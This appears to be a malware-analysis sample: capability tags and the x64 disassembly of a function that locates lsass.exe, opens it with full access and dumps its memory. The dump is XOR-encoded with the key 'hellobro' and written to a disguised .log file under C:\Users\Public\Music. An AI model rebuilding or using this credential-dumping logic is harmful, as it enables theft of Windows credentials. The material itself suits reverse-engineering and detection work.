Function at 0x1400011f0
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
sub rsp, 0x2a8
call fcn.1400057cc
cmp dword [rax], 1
jne 0x14000120e
mov eax, 0xd62e2b
add rsp, 0x2a8
ret
call fcn.1400057cc
cmp dword [rax], 2
jne 0x14000153b
mov qword [rsp + 0x2b8], rsi
call fcn.1400057d4
xor esi, esi
mov edx, esi
mov rcx, qword [rax]
mov r8, qword [rcx + 8]
lea rcx, str.love
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
inc rdx
cmp al, byte [rcx + rdx - 1]
jne 0x140001526
cmp rdx, 5
jne 0x140001240
mov rax, qword gs:[0x58]
mov qword [rsp + 0x2b0], rbx
mov ebx, 4
mov qword [rsp + 0x2a0], rdi
add rbx, qword [rax]
mov eax, dword [rbx]
cmp dword [0x14001cd08], eax
jle 0x1400012c8
lea rcx, [0x14001cd08]
call fcn.1400016a0
cmp dword [0x14001cd08], 0xffffffff
jne 0x1400012c8
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtDelayExecution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14001cd08]
mov qword [0x14001cd10], rax
call fcn.140001640
mov eax, dword [rbx]
cmp dword [0x14001cd18], eax
jle 0x140001317
lea rcx, [0x14001cd18]
call fcn.1400016a0
cmp dword [0x14001cd18], 0xffffffff
jne 0x140001317
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.ZwSetTimerResolution
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x14001cd18]
mov qword [0x14001cd20], rax
call fcn.140001640
cmp byte [0x14001ba10], sil
je 0x140001344
mov rax, qword [0x14001cd20]
test rax, rax
je 0x140001344
lea r8, [rsp + 0x2c8]
mov dl, 1
mov ecx, 1
call rax
mov byte [0x14001ba10], sil
mov rax, qword [0x14001cd10]
mov qword [rsp + 0x48], 0xfffffffffa0a1f00
test rax, rax
je 0x140001362
lea rdx, [rsp + 0x48]
xor ecx, ecx
call rax
xor edx, edx
mov dword [rsp + 0x2c0], esi
mov edi, esi
lea ecx, [rdx + 2]
call qword [0x14001cd00]
xor edx, edx
lea rcx, [rsp + 0x64]
mov r8d, 0x234
mov rbx, rax
call fcn.1400027e0
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x60], 0x238
mov rcx, rbx
call qword [0x14001cce0]
test eax, eax
je 0x1400013ea
lea rdx, str.lsass.exe
lea rcx, [0x140018c70]
call fcn.140005634
test eax, eax
je 0x1400013ea
nop dword [rax]
lea rdx, [rsp + 0x60]
mov rcx, rbx
call qword [0x14001ccf8]
mov edi, dword [rsp + 0x68]
lea rdx, str.lsass.exe
lea rcx, [rsp + 0x8c]
call fcn.140005634
test eax, eax
jne 0x1400013c0
xor r8d, r8d
lea r9, [rsp + 0x40]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x13]
call qword [0x14001ccd0]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [0x14001cce8]
lea rcx, [0x140001180]
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rcx
mov r9d, 2
lea rcx, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x30], rcx
mov edx, edi
mov qword [rsp + 0x28], rsi
mov rcx, rax
mov qword [rsp + 0x20], rsi
call qword [0x14001ccc8]
test eax, eax
je 0x140001504
movsxd rcx, dword [0x14001ccc0]
call fcn.1400017b0
mov ebx, dword [0x14001ccc0]
mov rcx, rax
mov rdx, qword [0x14001ccf0]
mov r8d, ebx
mov rdi, rax
call fcn.140003830
test ebx, ebx
je 0x1400014ab
mov rcx, rdi
lea r9, str.hellobro
mov rdx, rsi
mov r8d, ebx
nop dword [rax + rax]
mov rax, rdx
lea rcx, [rcx + 1]
and eax, 7
inc rdx
movzx eax, byte [rax + r9]
xor byte [rcx - 1], al
sub r8, 1
jne 0x140001490
mov qword [rsp + 0x30], rsi
lea rcx, str.C:UsersPublicMusicVM23_10_8.log
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r8d, dword [0x14001ccc0]
lea r9, [rsp + 0x2c0]
mov rcx, rax
mov qword [rsp + 0x20], rsi
mov rdx, rdi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdi, qword [rsp + 0x2a0]
xor eax, eax
mov rbx, qword [rsp + 0x2b0]
mov rsi, qword [rsp + 0x2b8]
add rsp, 0x2a8
ret
mov rsi, qword [rsp + 0x2b8]
mov eax, 0x160b5
add rsp, 0x2a8
ret
mov eax, 0x3176e0
add rsp, 0x2a8
ret